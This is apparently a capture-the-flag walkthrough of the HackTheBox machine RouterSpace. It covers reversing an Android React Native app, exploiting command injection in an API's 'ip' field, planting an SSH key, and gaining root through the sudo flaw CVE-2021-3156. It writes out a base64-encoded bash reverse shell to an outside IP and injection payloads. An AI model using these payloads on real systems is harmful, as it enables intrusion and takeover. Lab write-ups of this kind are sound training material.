RouterSpace
Enumeration
Nmap
First, let's scan for open ports using nmap
. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.129.145.44 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
. Then, we can scan those specific ports in depth by running nmap
's built-in scripts: nmap -p$ports -sC -sV 10.129.145.44
.
Scan for UDP services with sudo nmap -sU -r -T5 10.129.145.44 -v
. This finds nothing:
Website (Port 80
)
80
)Let's brute force directories with ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.129.145.44/FUZZ -fs 50-90
:
This does not find anything.
Clicking the download button on the website downloads a RouterSpace.apk file.
Android App (Downloaded APK)
Dynamic Approach (Hours of Time = Nothing)
I first tried to figure out what this android app did via dynamic debugging. This took many hours and I never could get it to work. The static approach was much more simpler and easy to understand for me. Anyway, here is the record of things I tired:
We need an android emulator to dynamically debug this application. I tried Android Studio, Genymotion, and Anbox. I wasn't able to use any of them to extract the necessary information from the app, but Android Studio is the best option since it comes directly from Google, the makers of Android.
I used Android Studio to start a emulated Android phone and then I dragged and dropped the RouterSpace APK onto it to install it. Next, clicking on the button causes creates a popup that says there is no internet connection. So, it must be trying to make some kind of network request. I made sure the HackTheBox VPN was connected and added routerspace.htb
to my /etc/hosts
file. I did this because the release arena machine IP addresses are all different while the app never changed. Therefore, the app didn't have a hardcoded IP address and instead would need to do a DNS lookup. I assumed the machine would follow the pattern of previous HackTheBox machines so I used routerspace.htb
.
Then, I tried capturing network traffic with a variety of tools. All of them worked and captured traffic, but none of them captured the RouterSpace application's network requests since they never went through. Anyway, I tried HTTP Toolkit with this guide, BurpSuite by following this guide(make sure BurpSuite is listening on all interfaces when you add the proxy), and mitmproxy (GitHub Repo). After trying all of these the app still gave the connection error. For BurpSuite and mitmproxy, I added the proxy details within the Android Studio emulator settings window (HTTP Toolkit uses a VPN connection created via their app instead of a system-wide proxy). mitmproxy is probably the best tool here if all you want to do is capture network traffic since it is really simple to use. BurpSuite is more powerful, but is more complicated to set up and we don't need its extra features here.
Next, I installed Genymotion since I thought maybe the Android Studio emulator wasn't working properly. I created a device and installed the RouterSpace app. The app still refused to connect. I tried both BurpSuite and mitmproxy, but didn't capture any network traffic from the app.
At this point, I literally created a fresh Ubuntu machine. I installed Anbox via snap by running snap install --devmode --beta anbox
and installed the RouterSpace application by first getting the adb
command with sudo apt install android-tools-adb
and then running adb install RouterSpace.apk
. I tried both mitmproxy and BurpSuite by adding the proxies with this command: adb shell settings put global http_proxy <ip>:<port>
(command from this StackOverflow answer), but still could not get network traffic from the app.
Static Approach (Quick and Easy)
I first tried using JADX shows that it is a React Native application. I used apktool d RouterSpace.apk
to decompile and then in the assets
folder there will be a index.android.bundle
file containing the React Native Application. Tried using jsnice.org on this whole file but also used richardfuca/react-native-decompiler to hopefully clean up the code a little. It turns out that just using jsnice.org is better once you find the relevant code snippet. Searching for the "connet" string, which I observed in an error message when emulating the app, finds the actually important code. I originally thought that trying to manually reverse this would be difficult, but it isn't too hard.
First, I copied out the __d
function that contained the word "connet" and put it in code_1.js with some basic automatic formatting. I put code_1.js through jsnice.org, which cleaned it up a little, and pasted the output in code_2.js. Then, I began simplifying and deobfuscating the code in code_3.js. I created code_4.js once I figured out how the render
function's output
variable was modified. I used the node
console to run bits of code to avoid having to completely reverse them. Eventually, I was able to determine what was in the data
dictionary. I pasted the whole thing into the node
shell so it would evaluate it and then I printed it out, which revealed this:
As we can see under the EwCVL
key there is the URL the app tries to access. So, the code searchSelect2(249) + searchSelect2(192) + searchSelect2(156) + searchSelect2(205) + searchSelect2(195) + searchSelect2(161) + searchSelect2(238)
evaluates to http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
.
We can figure out that searchSelect2(241)
evaluates to EwCVL
, which means data[searchSelect2(241)]
evaluates to the URL.
After simplifying the code and evaluating a lot of the calls to searchSelect2
in code_5.js, we see that the app performs a post request to http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
with the headers User-Agent: RouterSpaceAgent
and Content-Type: application/json
. The app sends at least one key value pair as JSON. We know that the key is ip
since the app checks to make sure it is not 0.0.0.0
.
API
Trying to make the same request as the app does, we write the following:
This just returns our input, 0.0.0.0
, back to use.
Next, we try a command injection:
This returns "\npaul\n"
. So, we have a command injection!
Foothold
Revere Shell (Didn't Work)
In theory, we can exploit this command injection with a basic bash
reverse shell. Start a listener with netcat (nc -nvlp 58437
) or pwncat
(pwncat-cs -lp 58437
). Then, we can encode the reverse shell bash -i >& /dev/tcp/10.10.15.49/58437 0>&1
to base64 with echo -n "bash -i >& /dev/tcp/10.10.15.49/58437 0>&1" | base64
to get YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx
. We encode to base64 to remove illegal characters. Now, our payload is ;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx | base64 -d | bash
(we need to ;
at the front so we can run it after whatever command is being run).
We can use curl
to execute our payload by running the following command:
However, running this did not work. In fact, I couldn't even ping my attacker machine from the target box with a command like this:
So, instead I just added my SSH public key to the paul
user's ~/.ssh/authorized_keys
file.
authorized_keys
file
authorized_keys
fileWe can add our ssh public key to by running this command:
The '\''
sequence is used to escape the single quote ('
) and was learned from this StackOverflow answer.
Privilege Escalation
Now, we can connect with ssh paul@routerspace.htb -i /home/kali/.ssh/id_rsa
(or pwncat-cs paul@routerspace.htb --identity /home/kali/.ssh/id_rsa
).
We upload LinPEAS (upload linpeas.sh
in pwncat
) and run it with bash linpeas.sh
. This doesn't show much but says sudo
version 1.8.31
is installed, which we can also see by running sudo -V
.
Searching for "sudo 1.8.31 exploit" finds CVE-2021-3156 and this associated blog post. Here is a video by LiveOverflow about CVE-2021-3156.
We can run the following command to see if we are vulnerable (from sudo advisory):
This outputs the following, which means sudo
is vulnerable:
We can exploit this vulnerability to get root using CptGibbon/CVE-2021-3156. Download the repo to your attacker machine with git clone https://github.com/CptGibbon/CVE-2021-3156.git
and then upload the Makefile
, shellcode.c
, and exploit.c
files. Finally, run make
and ./exploit
to get a shell as root.
Now, just cat /root/root.txt
to get the root.txt
flag.
Last updated